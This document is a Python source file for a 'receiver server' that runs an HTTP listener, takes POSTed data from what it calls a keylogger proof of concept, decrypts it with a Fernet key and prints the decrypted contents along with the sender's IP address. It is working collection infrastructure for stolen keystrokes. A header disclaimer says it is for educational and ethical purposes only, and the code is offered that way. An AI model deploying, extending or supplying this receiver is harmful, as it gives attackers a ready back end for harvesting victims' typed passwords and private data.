```
from http.server import BaseHTTPRequestHandler, HTTPServer
import base64
from cryptography.fernet import Fernet
import os

# ---
# File: receiver_server.py
# Objective: A simple HTTP server to receive and print exfiltrated data.
# It will attempt to decrypt the data if 'key.key' is present.
#
# !! FOR EDUCATIONAL AND ETHICAL PURPOSES ONLY !!
# ---

# --- Configuration ---
HOST = "localhost"
PORT = 8000
KEY_FILE = "key.key"
# ---------------------

def load_key():
    """Loads the Fernet key from the key file."""
    if not os.path.exists(KEY_FILE):
        print(f"[!] Key file '{KEY_FILE}' not found. Will only display encrypted data.")
        return None
    try:
        with open(KEY_FILE, "rb") as f:
            return f.read()
    except Exception as e:
        print(f"[!] Error loading key: {e}")
        return None
```

```
# Load the key once on startup
print("[+] Loading decryption key...")
FERNET_KEY = load_key()
if FERNET_KEY:
    print("[+] Decryption key loaded successfully.")


def decrypt_data(encrypted_data):
    """Decrypts data using the loaded Fernet key."""
    if not FERNET_KEY:
        return "[!] Decryption key not available."


    try:
        # 1. Decode from base64
        decoded_data = base64.urlsafe_b64decode(encrypted_data)
        # 2. Decrypt using Fernet
        f = Fernet(FERNET_KEY)
        decrypted_data = f.decrypt(decoded_data)
        return decrypted_data.decode('utf-8')
    except Exception as e:
        return f"[!] Decryption failed: {e}. (Data may be corrupt or wrong key)"



class RequestHandler(BaseHTTPRequestHandler):
    def do_POST(self):
        """Handles POST requests containing the exfiltrated data."""
        try:
            content_length = int(self.headers['Content-Length'])
            post_data = self.rfile.read(content_length)


            print("\n--- [!] INCOMING DATA RECEIVED [!] ---")
            print(f"Timestamp: {self.log_date_time_string()}")
```

```
            print(f"From: {self.client_address[0]}")
            print(f"Raw Encrypted Data (first 200 chars): \n{post_data[:200]}...")

            # Attempt to decrypt and print
            print("\n--- [ Decrypted Content ] ---")
            decrypted_content = decrypt_data(post_data)
            print(decrypted_content)
            print("---------------------------------")

            # Send a 200 OK response
            self.send_response(200)
            self.send_header('Content-type', 'text/html')
            self.end_headers()
            self.wfile.write(b"Data received.")

        except Exception as e:
            print(f"\n[!] Error handling POST request: {e}")
            self.send_response(500)
            self.end_headers()
            self.wfile.write(b"Server error.")

    def do_GET(self):
        """Handles GET requests (e.g., from a browser)."""
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(b"<html><head><title>PoC Server</title></head>")
        self.wfile.write(b"<body><h1>Receiver Server is Active</h1>")
        self.wfile.write(b"<p>This server is intended to receive POST data from the keylogger PoC.</p>")
        self.wfile.write(b"</body></html>")
```

```
def run_server(server_class=HTTPServer, handler_class=RequestHandler, host=HOST, port=PORT):
    """Starts the HTTP server."""
    server_address = (host, port)
    httpd = server_class(server_address, handler_class)
    print(f"\n[+] Starting PoC receiver server at http://{host}:{port}")
    print("[+] Waiting for exfiltrated data...")
    print("[!] Press Ctrl+C to stop the server.")
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        print("\n[!] Server is shutting down...")
        httpd.server_close()
    except Exception as e:
        print(f"\n[!] Server error: {e}")

if __name__ == "__main__":
    run_server()
```